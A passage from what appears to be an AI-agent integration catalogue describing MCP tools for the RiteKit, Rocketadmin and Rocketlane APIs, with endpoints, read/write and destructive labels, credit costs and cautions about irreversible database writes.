screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. rite_kit_get_v1_emoji_auto_emojify (read) — Auto-emojify text via GET /v1/emoji/auto-emojify. Rewrite a piece of text with RiteKit's recommended emoji inserted in place. Answers the rewritten `text`. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v1/emoji/auto-emojify. Scopes: api. rite_kit_get_v1_emoji_suggestions (read) — Suggest emoji for text via GET /v1/emoji/suggestions. Emoji RiteKit recommends for a piece of text, as a list. Suggests only; use Auto-emojify to get the text back with them inserted. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v1/emoji/suggestions. Scopes: api. rite_kit_get_v1_images_quote (read) — Render a quote image via GET /v1/images/quote. Render a quotation as a shareable image and answer its `url`. Every aspect of the rendering is an argument: the fonts and colours for the quote and the author, an optional highlight behind the text, a solid or gradient background, a brand logo to overlay and an animation. RiteKit requires all of them except `showQuoteMark` -- there are no server-side defaults -- and answers the image as a URL rather than as bytes. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v1/images/quote. Scopes: api. rite_kit_get_v1_link_cta (read) — List the account's CTAs via GET /v1/link/cta. The call-to-action buttons configured on the connected RiteKit account, each with its `id`, `code`, `name` and whether it is the default. The `id` is what Create a short link requires, so this is the call that makes that one usable. "Current user" here is the owner of the connected Client ID. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v1/link/cta. Scopes: api. rite_kit_get_v1_link_short_link (write) — Create a short link via GET /v1/link/short-link. Create a RiteKit short link that wraps a URL in one of the account's call-to-action buttons. THIS IS A WRITE: it creates a new short link on the account and consumes one of the plan's short-link allowance, which the answer reports as `limit.remaining`. The verb is GET because that is how RiteKit spells it; the effect is a creation. `cta` is an id from List the account's CTAs. RiteKit publishes no endpoint that deletes a short link, so this cannot be undone through the API. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v1/link/short-link. Scopes: api. rite_kit_get_v1_search_trending (read) — Trending hashtags via GET /v1/search/trending. The hashtags trending on Twitter/X right now, with tweets, retweets, exposure and the colour rating for each. `green=1` returns only RiteKit's green-rated (worth using) hashtags and `latin=1` returns only hashtags written in the Latin alphabet. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v1/search/trending. Scopes: api. rite_kit_get_v1_stats_auto_hashtag (read) — Auto-hashtag a post via GET /v1/stats/auto-hashtag. Rewrite a social post with RiteKit's recommended hashtags added. Answers the rewritten `post` string. `maxHashtags` caps how many are added and `hashtagPosition` chooses whether they are woven into the text or appended at the end. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v1/stats/auto-hashtag. Scopes: api. rite_kit_get_v1_stats_hashtag_suggestions (read) — Suggest hashtags for text via GET /v1/stats/hashtag-suggestions. Hashtags RiteKit recommends for a piece of text, each with the same statistics the hashtag-stats tool returns (tweets, retweets, exposure, link/image/mention shares and the colour rating). Suggests only; it does not rewrite the text. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v1/stats/hashtag-suggestions. Scopes: api. rite_kit_get_v1_stats_hashtag_suggestions_image (read) — Suggest hashtags for an image via GET /v1/stats/hashtag-suggestions-image. Hashtags RiteKit recommends for the image at a URL, each with its statistics plus a `mediaCount`. The image is named by URL -- RiteKit fetches it -- so no bytes travel through this tool. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v1/stats/hashtag-suggestions-image. Scopes: api. rite_kit_get_v1_stats_history_by_hashtag (read) — Hashtag history via GET /v1/stats/history/{hashtag}. The daily history of one hashtag: a `data` series carrying tweets, retweets, exposure and the link/image/mention shares per `date`, plus the hashtag's overall colour rating. The hashtag is named in the PATH, so it must be a single URL segment -- the connector refuses a value carrying a separator, which would point this tool at another endpoint. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v1/stats/history/{hashtag}. Scopes: api. rite_kit_get_v1_stats_multiple_hashtags (read) — Hashtag stats via GET /v1/stats/multiple-hashtags. Twitter/X statistics for one or more hashtags at once. Answers a `stats` array carrying, per hashtag, its tweets and retweets per hour, estimated exposure, the share of tweets that carry links, images or @mentions, and RiteKit's colour rating (green/yellow/red -- green means the hashtag is worth using). This is the endpoint RiteKit's own authentication example uses. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v1/stats/multiple-hashtags. Scopes: api. rite_kit_get_v2_company_insights_brand_colors (read) — Company brand colours via GET /v2/company-insights/brand-colors. The brand colours RiteKit holds for a company, looked up by company NAME (the logo tool looks up by domain). Answers a `data` list of colours. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v2/company-insights/brand-colors. Scopes: api. rite_kit_get_v2_company_insights_logo (read) — Company logo by domain via GET /v2/company-insights/logo. A company's logo for a domain, answered as URLs rather than bytes: `originalLogo` (SVG and PNG permanent URLs), an optional `squareLogo` rendered at `squareLogoSize` on `squareLogoBackground`, and the company's `brandColors`. `generateFallbackLogo=1` asks RiteKit to draw a monogram when it holds no real mark, and `isGenerated` in the answer says whether it did -- check it before treating the result as the company's actual logo. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v2/company-insights/logo. Scopes: api. rite_kit_get_v2_image_extract_image (read) — Extract the main image from a URL via GET /v2/image/extract-image. The main (hero) image of the page at a URL, answered as `top_image` -- a URL string, not bytes. Useful for building a share card from a link. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v2/image/extract-image. Scopes: api. rite_kit_get_v2_instagram_hashtags_cleaner (read) — Clean Instagram hashtags via GET /v2/instagram/hashtags-cleaner. Remove Instagram's banned and shadow-banned hashtags from a post. Answers the cleaned `post` plus the `bannedHashtags` that were taken out, so a caller can report what was removed rather than silently changing someone's caption. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v2/instagram/hashtags-cleaner. Scopes: api. rite_kit_get_v2_person_insights_disposable_email_detection (read) — Disposable email check via GET /v2/person-insights/disposable-email-detection. Whether an email address belongs to a disposable / throwaway mail service. Answers a `disposable` boolean. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v2/person-insights/disposable-email-detection. Scopes: api. rite_kit_get_v2_person_insights_email_typo (read) — Email typo suggestions via GET /v2/person-insights/email-typo. Likely corrections for a mistyped email address (gmial.com -> gmail.com), answered as a `suggestions` list. An empty list means RiteKit found nothing to correct, which is not the same as confirming the address exists -- this tool checks spelling, not deliverability. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v2/person-insights/email-typo. Scopes: api. rite_kit_get_v2_person_insights_freemail_detection (read) — Free-mail domain check via GET /v2/person-insights/freemail-detection. Whether an email DOMAIN belongs to a free consumer mail provider (gmail.com, outlook.com and the like) rather than a company. Answers a `freemail` boolean. Takes a bare domain, not an address. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v2/person-insights/freemail-detection. Scopes: api. rite_kit_get_v2_person_insights_full_email_insights (read) — Full email insights via GET /v2/person-insights/full-email-insights. Everything RiteKit knows about one email address in a single call: its domain and whether that domain is free consumer mail. The one-call form of the other person-insights tools. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v2/person-insights/full-email-insights. Scopes: api. rite_kit_get_v2_person_insights_name_from_email_address (read) — Name from an email address via GET /v2/person-insights/name-from-email-address. RiteKit's guess at the person's `givenName` and `surname` behind an email address, derived from the local part. A guess: treat it as a suggestion to confirm, not as identity. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v2/person-insights/name-from-email-address. Scopes: api. rite_kit_get_v2_stats_hashtags_for_url (read) — Suggest hashtags for a URL via GET /v2/stats/hashtags-for-url. Hashtags RiteKit recommends for the page at a URL, each with its statistics. RiteKit fetches and reads the page itself, so this works from a link alone with no text to paste. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v2/stats/hashtags-for-url. Scopes: api. rite_kit_get_v2_text_extract_article (read) — Extract article text from a URL via GET /v2/text/extract-article. The readable article behind a URL: its `title` and body `text`, with the page's navigation, advertising and boilerplate stripped. RiteKit fetches the page itself. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v2/text/extract-article. Scopes: api. rite_kit_get_v2_text_link_preview (read) — Link preview for a URL via GET /v2/text/link-preview. The share-card metadata for a URL -- `title`, `description` and `image` -- as a social network would render it. Spends RiteKit API credits: every call does, and the free tier is 100 credits a month. GET /api/v1/rite_kit/v2/text/link-preview. Scopes: api. ================================================================================ ## Rocketadmin URL: https://www.agenticfabriq.com/integrations/rocketadmin Section: Integrated Tools Rocketadmin — 21 MCP tools Provider key: rocketadmin. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. rocketadmin_delete_table_crud_by_connectionid (write, destructive) — Delete row (CRUD) via DELETE /table/crud/{connectionId}. DESTRUCTIVE AND IRREVERSIBLE: permanently delete one row addressed by `primaryKey` and return ONLY the row as it was. The lean counterpart to the delete-row tool, and just as final: Rocketadmin has no recycle bin. Confirm by re-reading -- an absent row answers 400 "Row with this primary key not found", not 404. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. DELETE /api/v1/rocketadmin/table/crud/{connectionId}. Scopes: api. rocketadmin_delete_table_row_by_connectionid (write, destructive) — Delete row via DELETE /table/row/{connectionId}. DESTRUCTIVE AND IRREVERSIBLE: permanently delete one row from the customer's own database, addressed by `primaryKey`. Answers 200 with the row as it was, which is the only copy you will get -- Rocketadmin has no recycle bin and nothing here restores a deleted row. Confirm a deletion by re-reading: an absent row answers 400 "Row with this primary key not found", not 404. A row other tables reference by foreign key may fail to delete, or may cascade, according to the database's own constraints. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. DELETE /api/v1/rocketadmin/table/row/{connectionId}. Scopes: api. rocketadmin_get_check_apikey (read) — Check API key via GET /check/apikey. Confirm this connection's Rocketadmin API key is still valid. Answers {"result": true, "message": "Api key is valid"} for a live key. This is the cheapest way to tell a revoked key from a genuine failure elsewhere: a rejected key answers 404 with the body "No authorization keys found", which is the SAME STATUS an unrouted path answers -- read the message, not the status. Reads only; changes nothing. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. GET /api/v1/rocketadmin/check/apikey. Scopes: api. rocketadmin_get_connection_tables_by_connectionid (read) — List tables via GET /connection/tables/{connectionId}. List the tables and views in one connected database, each with the permissions this credential has on it (read, add, edit, delete) and its display name. Start here: every row and structure tool needs a `tableName` from this list. Set `hidden` to include tables the connection's owner has hidden from the dashboard. Reads only; changes nothing. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. GET /api/v1/rocketadmin/connection/tables/{connectionId}. Scopes: api. rocketadmin_get_connection_tables_v2_by_connectionid (read) — List tables (v2) via GET /connection/tables/v2/{connectionId}. List the tables in one connected database, wrapped in a `tables` object rather than returned as a bare array. Same content as the v1 tool, newer envelope -- prefer this one in new work; the v1 spelling is kept because Rocketadmin still serves it. Reads only; changes nothing. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. GET /api/v1/rocketadmin/connection/tables/v2/{connectionId}. Scopes: api. rocketadmin_get_connections (read) — List database connections via GET /connections. List the databases this Rocketadmin account has connected, with each connection's id, title, engine type, host, port, database name and access level. THE CONNECTION ID THIS RETURNS IS WHAT EVERY OTHER TOOL NEEDS: it is a short opaque string such as "S2ds5cFA", not a UUID. Agentic Fabriq removes each connection's `signing_key` from this result before you see it -- that value signs Rocketadmin's own embedded-view URLs and is credential material, not data. Reads only; changes nothing. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. GET /api/v1/rocketadmin/connections. Scopes: api. rocketadmin_get_table_crud_by_connectionid (read) — Read row (CRUD) via GET /table/crud/{connectionId}. Read one row addressed by `primaryKey` and return ONLY the row -- no structure, no foreign keys, no widgets. The lean counterpart to the get-row tool; prefer it when you want the data rather than the table's description. An absent row answers 400 "Row with this primary key not found". Reads only; changes nothing. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. GET /api/v1/rocketadmin/table/crud/{connectionId}. Scopes: api. rocketadmin_get_table_row_by_connectionid (read) — Get row by primary key via GET /table/row/{connectionId}. Read one row addressed by its primary key, returned with the table's structure, foreign keys and widget configuration around it. Pass `primaryKey` as a JSON object of the table's primary-key columns, for example {"id": 36}; the table-structure tool's `primaryColumns` names them. For just the row and nothing else, use the CRUD read tool. Reads only; changes nothing. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. GET /api/v1/rocketadmin/table/row/{connectionId}. Scopes: api. rocketadmin_get_table_rows_by_connectionid (read) — List table rows via GET /table/rows/{connectionId}. Read a page of rows from one table, with the table's structure, primary columns, foreign keys and pagination alongside them. Page with `page` and `perPage` and narrow with `search`, which matches the columns the connection's owner marked searchable. For filtering by column value use the body-filter tool instead. Reads only; changes nothing. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. GET /api/v1/rocketadmin/table/rows/{connectionId}. Scopes: api. rocketadmin_get_table_structure_by_connectionid (read) — Get table structure via GET /table/structure/{connectionId}. Describe one table's columns -- name, data type, default, nullability, auto-increment, maximum length -- plus its `primaryColumns`, its foreign keys and the table's configured settings. READ THIS BEFORE ADDRESSING A SINGLE ROW: `primaryColumns` names the columns the `primaryKey` argument of the row tools must carry. Served from Rocketadmin's cache. Reads only; changes nothing. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. GET /api/v1/rocketadmin/table/structure/{connectionId}. Scopes: api. rocketadmin_get_table_structure_no_cache_by_connectionid (read) — Get table structure (uncached) via GET /table/structure/no-cache/{connectionId}. The same table description read straight from the database rather than from Rocketadmin's cache. Use it after the schema has been altered, when the cached tool still reports the old columns. Slower; otherwise identical. Reads only; changes nothing. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. GET /api/v1/rocketadmin/table/structure/no-cache/{connectionId}. Scopes: api. rocketadmin_post_table_crud_by_connectionid (write) — Create row (CRUD) via POST /table/crud/{connectionId}. Insert one row and return ONLY the created row, including its generated primary key. The lean counterpart to the add-row tool. THIS WRITES TO THE CUSTOMER'S OWN DATABASE, with no sandbox between this tool and it. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. POST /api/v1/rocketadmin/table/crud/{connectionId}. Scopes: api. rocketadmin_post_table_crud_rows_by_connectionid (read) — Find rows (CRUD) via POST /table/crud/rows/{connectionId}. Read rows filtered by column value and return ONLY `rows` and `pagination`. The lean counterpart to the find-rows tool; same `filters` body. A POST because the criteria are a document: it reads only and changes nothing. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. POST /api/v1/rocketadmin/table/crud/rows/{connectionId}. Scopes: api. rocketadmin_post_table_csv_export_by_connectionid (read) — Export table as CSV via POST /table/csv/export/{connectionId}. Export rows from a table as CSV text, filtered by the same `filters` body the find tools take and narrowed by `page`, `perPage` and `search` -- all four of which Rocketadmin marks REQUIRED on this route, so send them even when exporting everything. Answers CSV with a header row, declared as application/octet-stream; Agentic Fabriq returns it as text. Reads only; changes nothing in the database. Mind the size: an unfiltered export of a large table is a large response. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. POST /api/v1/rocketadmin/table/csv/export/{connectionId}. Scopes: api. rocketadmin_post_table_csv_import_by_connectionid (write) — Import CSV into table via POST /table/csv/import/{connectionId}. Insert rows into a table from a CSV file, uploaded as multipart form data under the field name `file` with a header row naming the columns. THIS WRITES MANY ROWS AT ONCE to the customer's own database and there is no dry run: a malformed file is discovered by its effect. UNVERIFIED END-TO-END: Rocketadmin refuses CSV import on DEMO/TEST connections (400 "CSV import is disabled for test connections"), and both connections available for verification were test connections, so the upload shape was confirmed but a successful import was not. If this answers that message, the connection is a test connection and the file is not the problem. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. POST /api/v1/rocketadmin/table/csv/import/{connectionId}. Scopes: api. rocketadmin_post_table_row_by_connectionid (write) — Add row via POST /table/row/{connectionId}. Insert one row into a table. The body is the row itself -- an object of column -> value -- and columns the database fills (auto-increment keys, defaults, timestamps) should be omitted. Answers 201 with the created row, including the generated primary key, which is the value to keep for later reads and updates. THIS WRITES TO THE CUSTOMER'S OWN DATABASE: Rocketadmin is a window onto a real production database, and there is no sandbox between this tool and it. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. POST /api/v1/rocketadmin/table/row/{connectionId}. Scopes: api. rocketadmin_post_table_rows_find_by_connectionid (read) — Find table rows via POST /table/rows/find/{connectionId}. Read rows from one table filtered by column value. The body carries `filters`, an object of column -> operator -> value, for example {"filters": {"country": {"eq": "US"}, "age": {"gt": 18}}}. THIS IS A POST BECAUSE THE CRITERIA ARE A DOCUMENT, NOT BECAUSE IT WRITES: it reads only and changes nothing. Page with `page` and `perPage`; set `_uncached` to bypass Rocketadmin's cache. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. POST /api/v1/rocketadmin/table/rows/find/{connectionId}. Scopes: api. rocketadmin_put_table_crud_by_connectionid (write) — Update row (CRUD) via PUT /table/crud/{connectionId}. Update one row addressed by `primaryKey`, sending only the columns to change, and return ONLY the updated row. The lean counterpart to the update-row tool. THIS WRITES TO THE CUSTOMER'S OWN DATABASE, with no sandbox between this tool and it. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. PUT /api/v1/rocketadmin/table/crud/{connectionId}. Scopes: api. rocketadmin_put_table_row_by_connectionid (write) — Update row via PUT /table/row/{connectionId}. Update one row addressed by `primaryKey`, sending ONLY the columns to change -- this is a partial update and omitted columns are left alone. Answers with the updated row plus the table's structure. THIS WRITES TO THE CUSTOMER'S OWN DATABASE, with no sandbox between this tool and it; read the row first if you need to be able to put it back. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. PUT /api/v1/rocketadmin/table/row/{connectionId}. Scopes: api. rocketadmin_put_table_rows_delete_by_connectionid (write, destructive) — Delete rows in bulk via PUT /table/rows/delete/{connectionId}. DESTRUCTIVE AND IRREVERSIBLE: permanently delete several rows from the customer's own database. The body is an ARRAY of primary-key objects, for example [{"id": 38}, {"id": 39}] -- Rocketadmin's own spec types this as an array of strings, which is wrong; measured, it is an array of objects. A request naming no row is refused here rather than sent, because what Rocketadmin does with an empty array against a whole table is not documented. Answers `true` without a per-row result, so confirm by re-reading. Nothing restores a deleted row. NOTE THE VERB: this is a PUT on Rocketadmin's API, and it deletes. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. PUT /api/v1/rocketadmin/table/rows/delete/{connectionId}. Scopes: api. rocketadmin_put_table_rows_update_by_connectionid (write) — Update rows in bulk via PUT /table/rows/update/{connectionId}. Update several rows at once to the SAME new values. The body carries `primaryKeys`, an array of primary-key objects, and `newValues`, the columns to set on every one of them -- for example {"primaryKeys": [{"id": 38}, {"id": 39}], "newValues": {"city": "Berlin"}}. Answers {"success": true} WITHOUT saying how many rows matched, so confirm by re-reading rather than by the status. THIS WRITES TO THE CUSTOMER'S OWN DATABASE, with no sandbox between this tool and it. A Rocketadmin API key carries its owner's full permissions over every database that account has connected -- Rocketadmin publishes no scope vocabulary and nothing is ticked when a key is minted -- so the narrowing is which actions this connection may call. PUT /api/v1/rocketadmin/table/rows/update/{connectionId}. Scopes: api. ================================================================================ ## Rocketlane URL: https://www.agenticfabriq.com/integrations/rocketlane Section: Integrated Tools Rocketlane — 91 MCP tools Provider key: rocketlane. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. rocketlane_delete_1_0_budgets_by_budgetid (write, destructive) — Delete budget via DELETE /1.0/budgets/{budgetId} DELETE /api/v1/rocketlane/1.0/budgets/{budgetId}. Scopes: api. rocketlane_delete_1_0_comments_by_commentid (write, destructive) — Delete comment via DELETE /1.0/comments/{commentId} DELETE /api/v1/rocketlane/1.0/comments/{commentId}. Scopes: api. rocketlane_delete_1_0_companies_by_companyid (write, destructive) — Delete company via DELETE /1.0/companies/{companyId} DELETE /api/v1/rocketlane/1.0/companies/{companyId}. Scopes: api. rocketlane_delete_1_0_conversations_by_conversationid (write, destructive) — Delete conversation via DELETE /1.0/conversations/{conversationId} DELETE /api/v1/rocketlane/1.0/conversations/{conversationId}. Scopes: api. rocketlane_delete_1_0_fields_by_fieldid (write, destructive) — Delete field via DELETE /1.0/fields/{fieldId} DELETE /api/v1/rocketlane/1.0/fields/{fieldId}. Scopes: api. rocketlane_delete_1_0_phases_by_phaseid (write, destructive) — Delete phase via DELETE /1.0/phases/{phaseId} DELETE /api/v1/rocketlane/1.0/phases/{phaseId}. Scopes: api. rocketlane_delete_1_0_projects_by_projectid (write, destructive) — Delete project via DELETE /1.0/projects/{projectId} DELETE /api/v1/rocketlane/1.0/projects/{projectId}. Scopes: api. rocketlane_delete_1_0_space_documents_by_spacedocumentid (write, destructive) — Delete space document via DELETE /1.0/space-documents/{spaceDocumentId} DELETE /api/v1/rocketlane/1.0/space-documents/{spaceDocumentId}. Scopes: api. rocketlane_delete_1_0_spaces_by_spaceid (write, destructive) — Delete space via DELETE /1.0/spaces/{spaceId} DELETE /api/v1/rocketlane/1.0/spaces/{spaceId}. Scopes: api. rocketlane_delete_1_0_tasks_by_taskid (write, destructive) — Delete task via DELETE /1.0/tasks/{taskId} DELETE /api/v1/rocketlane/1.0/tasks/{taskId}. Scopes: api. rocketlane_delete_1_0_time_entries_by_timeentryid (write, destructive) — Delete time entry via DELETE /1.0/time-entries/{timeEntryId} DELETE /api/v1/rocketlane/1.0/time-entries/{timeEntryId}. Scopes: api. rocketlane_delete_1_0_time_offs_by_timeoffid (write, destructive) — Delete timeoff via DELETE /1.0/time-offs/{timeOffId} DELETE /api/v1/rocketlane/1.0/time-offs/{timeOffId}. Scopes: api. rocketlane_get_1_0_budgets (read) — Search budgets via GET /1.0/budgets GET /api/v1/rocketlane/1.0/budgets. Scopes: api. rocketlane_get_1_0_budgets_by_budgetid (read) — Get budget via GET /1.0/budgets/{budgetId} GET /api/v1/rocketlane/1.0/budgets/{budgetId}. Scopes: api. rocketlane_get_1_0_comments (read) — Get comments via GET /1.0/comments GET /api/v1/rocketlane/1.0/comments. Scopes: api. rocketlane_get_1_0_comments_by_commentid (read) — Get comment via GET /1.0/comments/{commentId} GET /api/v1/rocketlane/1.0/comments/{commentId}. Scopes: api. rocketlane_get_1_0_companies (read) — Get all companies via GET /1.0/companies GET /api/v1/rocketlane/1.0/companies. Scopes: api. rocketlane_get_1_0_companies_by_companyid (read) — Get company via GET /1.0/companies/{companyId} GET /api/v1/rocketlane/1.0/companies/{companyId}. Scopes: api. rocketlane_get_1_0_conversations (read) — Get all conversations via GET /1.0/conversations GET /api/v1/rocketlane/1.0/conversations. Scopes: api. rocketlane_get_1_0_conversations_by_conversationid (read) — Get conversation via GET /1.0/conversations/{conversationId} GET /api/v1/rocketlane/1.0/conversations/{conversationId}. Scopes: api. rocketlane_get_1_0_custom_revenue_recognition_configs (read) — Get all custom revenue recognition configs via GET /1.0/custom-revenue-recognition-configs GET /api/v1/rocketlane/1.0/custom-revenue-recognition-configs. Scopes: api. rocketlane_get_1_0_custom_revenue_recognition_configs_by_customrevenuerecognitionconfigid (read) — Get custom revenue recognition config via GET /1.0/custom-revenue-recognition-configs/{customRevenueRecognitionConfigId} GET /api/v1/rocketlane/1.0/custom-revenue-recognition-configs/{customRevenueRecognitionConfigId}. Scopes: api. rocketlane_get_1_0_fields (read) — Get all fields via GET /1.0/fields GET /api/v1/rocketlane/1.0/fields. Scopes: api. rocketlane_get_1_0_fields_by_fieldid (read) — Get field via GET /1.0/fields/{fieldId} GET /api/v1/rocketlane/1.0/fields/{fieldId}. Scopes: api. rocketlane_get_1_0_invoices (read) — Search invoices via GET /1.0/invoices GET /api/v1/rocketlane/1.0/invoices. Scopes: api. rocketlane_get_1_0_invoices_by_invoiceid (read) — Get invoice via GET /1.0/invoices/{invoiceId} GET /api/v1/rocketlane/1.0/invoices/{invoiceId}. Scopes: api. rocketlane_get_1_0_invoices_by_invoiceid_lines (read) — Get invoice line items via GET /1.0/invoices/{invoiceId}/lines GET /api/v1/rocketlane/1.0/invoices/{invoiceId}/lines. Scopes: api. rocketlane_get_1_0_invoices_by_invoiceid_payments (read) — Get invoice payments via GET /1.0/invoices/{invoiceId}/payments GET /api/v1/rocketlane/1.0/invoices/{invoiceId}/payments. Scopes: api. rocketlane_get_1_0_phases (read) — Get all phases via GET /1.0/phases GET /api/v1/rocketlane/1.0/phases. Scopes: api. rocketlane_get_1_0_phases_by_phaseid (read) — Get phase via GET /1.0/phases/{phaseId} GET /api/v1/rocketlane/1.0/phases/{phaseId}. Scopes: api. rocketlane_get_1_0_projects (read) — Get all projects via GET /1.0/projects GET /api/v1/rocketlane/1.0/projects. Scopes: api. rocketlane_get_1_0_projects_by_projectid (read) — Get project via GET /1.0/projects/{projectId} GET /api/v1/rocketlane/1.0/projects/{projectId}. Scopes: api. rocketlane_get_1_0_resource_allocations (read) — Get all resource allocations via GET /1.0/resource-allocations GET /api/v1/rocketlane/1.0/resource-allocations. Scopes: api. rocketlane_get_1_0_space_documents (read) — Get all space documents via GET /1.0/space-documents GET /api/v1/rocketlane/1.0/space-documents. Scopes: api. rocketlane_get_1_0_space_documents_by_spacedocumentid (read) — Get space document via GET /1.0/space-documents/{spaceDocumentId} GET /api/v1/rocketlane/1.0/space-documents/{spaceDocumentId}. Scopes: api. rocketlane_get_1_0_spaces (read) — Get all spaces via GET /1.0/spaces GET /api/v1/rocketlane/1.0/spaces. Scopes: api. rocketlane_get_1_0_spaces_by_spaceid (read) — Get space via GET /1.0/spaces/{spaceId} GET /api/v1/rocketlane/1.0/spaces/{spaceId}. Scopes: api. rocketlane_get_1_0_tasks (read) — Get all tasks via GET /1.0/tasks GET /api/v1/rocketlane/1.0/tasks. Scopes: api. rocketlane_get_1_0_tasks_by_taskid (read) — Get task via GET /1.0/tasks/{taskId} GET /api/v1/rocketlane/1.0/tasks/{taskId}. Scopes: api. rocketlane_get_1_0_time_entries (read) — Get all time entries via GET /1.0/time-entries GET /api/v1/rocketlane/1.0/time-entries. Scopes: api. rocketlane_get_1_0_time_entries_by_timeentryid (read) — Get time entry via GET /1.0/time-entries/{timeEntryId} GET /api/v1/rocketlane/1.0/time-entries/{timeEntryId}. Scopes: api. rocketlane_get_1_0_time_entries_categories (read) — Get time entry categories via GET /1.0/time-entries/categories GET /api/v1/rocketlane/1.0/time-entries/categories. Scopes: api. rocketlane_get_1_0_time_entries_search (read) — 